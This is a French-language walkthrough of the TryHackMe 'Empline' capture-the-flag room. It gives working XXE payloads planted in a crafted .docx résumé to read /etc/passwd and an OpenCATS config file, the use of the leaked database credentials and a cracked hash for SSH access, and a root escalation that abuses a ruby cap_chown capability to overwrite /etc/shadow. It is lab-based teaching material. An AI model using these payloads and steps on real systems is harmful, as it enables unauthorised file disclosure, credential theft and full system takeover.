0

[TryHackme] – Empline

4 min read

Visits: 1761

5
(8)

Lien : https://tryhackme.com/room/empline

Auteur : https://tryhackme.com/p/zyeinn

Difficulté : Moyenne


[USER]

L’énumération de la machine à l’aide de nmap nous permet de découvrir 3 ports ouverts qui sont le 22, 80 et 3306.

# nmap -A -T4 10.10.181.246

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c0:d5:41:ee:a4:d0:83:0c:97:0d:75:cc:7b:10:7f:76 (RSA)
|   256 83:82:f9:69:19:7d:0d:5c:53:65:d5:54:f6:45:db:74 (ECDSA)
|_  256 4f:91:3e:8b:69:69:09:70:0e:82:26:28:5c:84:71:c9 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Empline
3306/tcp open  mysql   MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
|   Thread ID: 85
|   Capabilities flags: 63487

Une fois sur le site web nous pouvons voir que l’onglet EMPLOYMENT nous redirige vers http://job.empline.thm/careers :

TryHackMe

Nous pouvons en déduire qu’il faut ajouter empline.thm et job.empline.thm à notre fichier /etc/hosts :

echo "10.10.181.246 empline.thm job.empline.thm" >> /etc/hosts

Ce qui nous permet d’avoir accès à cette page :

TryHackMe

Voici un article très très intéressant qui présente l’exploitation d’une faille XXE (CVE-2019-13358) sur le même CMS :

https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system/


La création d’un document malicieux va nous permettre de pouvoir lire un fichier sur le serveur, ici nous allons reproduire les mêmes actions que dans l’article mentionné plus haut :

Création du script permettant de générer un fichier .docx :

#!/usr/bin/env python3

from docx import Document

document = Document()
paragraph = document.add_paragraph('Reginald Dodd')
document.save('resume.docx')
(root💀kali)# chmod +x script.py
(root💀kali)# ./script.py
(root💀kali)# unzip resume.docx

Nous devons à présent modifier le fichier document.xml pour y inclure la XXE :

nano word/document.xml
# Payload for read /etc/passwd
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>

# Change Reginald Dodd to &test;

Copier ce payload à la ligne 2 et changer Reginald Dodd par &test; ce qui nous donne :

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p><w:r><w:t>&test;</w:t></w:r></w:p><w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

Il nous suffit à présent de re zip tout ça et de l’upload sur le site !

zip resume.docx word/document.xml

Nous pouvons postuler à cette offre de dev mobile ici même :

http://job.empline.thm/careers/index.php?m=careers&p=applyToJob&ID=1

TryHackMe

Après upload de notre fichier .docx nous avons comme retour le contenu du fichier /etc/passwd :

TryHackMe

Cependant ceci ne nous permet pas d’avancer dans l’exploitation de cette machine, ce qui peut-être intéressant est de lire le contenu du fichier config.php contenant les informations de connexion à la base de données qui elle est ouverte à la connexion sur le port 3306.

Le principe est exactement le même sauf que nous allons utiliser ce payload :

<!DOCTYPE test [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=config.php'>]>

Ce qui nous donne :

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<!DOCTYPE test [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=config.php'>]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p><w:r><w:t>&test;</w:t></w:r></w:p><w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

⚠️ N’oublions pas de re zip le document et let’s go pour l’upload :

Nous obtenons donc du base64 qui est en réalité le contenu du fichier config.php :

<?php
[REDACTED]

/* Database configuration. */
define('DATABASE_USER', 'james');
define('DATABASE_PASS', '[REDACTED]');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'opencats');

[REDACTED]
?>

Nous pouvons dès à présent nous connecter sur la base de données afin de l’énumérer :

mysql -h 10.10.181.246 -u james -p
show databases;
use opencats;
select * from user;

Nous trouvons donc deux passwords mais le plus intéressant est celui de george car nous savons déjà qu’il est présent sur la machine, il suffit simplement de cracker ce md5 avec crackstation :

C’est l’heure d’utiliser ce password en ssh :

TryHackMe

[ROOT]

Après énumération classique, nous pouvons découvrir qu’il y a une capability sur le binaire ruby :

getcap -r / 2>/dev/null
TryHackMe

Le mtr-packet n’est pas intéressant, ici nous avons le cap_chown d’activé, ce dernier permet de changer le propriétaire d’une fichier/dossier.


Il est plus courant de voir ceci avec du python mais après recherche on peut s’aider de ce lien :

https://ruby-doc.org/core-2.5.0/File.html

File.chown(nil, 100, "testfile")

Ce qui nous donne dans notre cas par exemple :

# Change the owner of /etc/shadow (where 1002 = george uid)
(root💀kali)# ruby -e "File.chown(1002, 1002, '/etc/shadow')"

# Set 777 perms to this file
(root💀kali)# chmod 777 /etc/shadow

# Create a new password for root user where mika = password
(root💀kali)# openssl passwd mika

We got zvceb9H/tHBKQ

# Let's modify the root user in /etc/shadow

root:$6$1cvOcl49$/czKHKvBaz450J3YnIvkqexT.StvdgUWzPr5X1Aitt/kxgF/i78wziX3zJQ0y8Kg9y749Qjr5EFiHmTdPsIJH/:18828:0:99999:7:::
to
root:zvceb9H/tHBKQ:18828:0:99999:7:::

# Connect to root with mika as password and grab your flag

george@empline:~$ su root
root@empline:/home/george# id
uid=0(root) gid=0(root) groups=0(root)

Quelle note mérite cet article ?

Average rating 5 / 5. Vote count: 8

No votes so far! Be the first to rate this post.

S’abonner
Notification pour
guest
0 Commentaires
Commentaires en ligne
Afficher tous les commentaires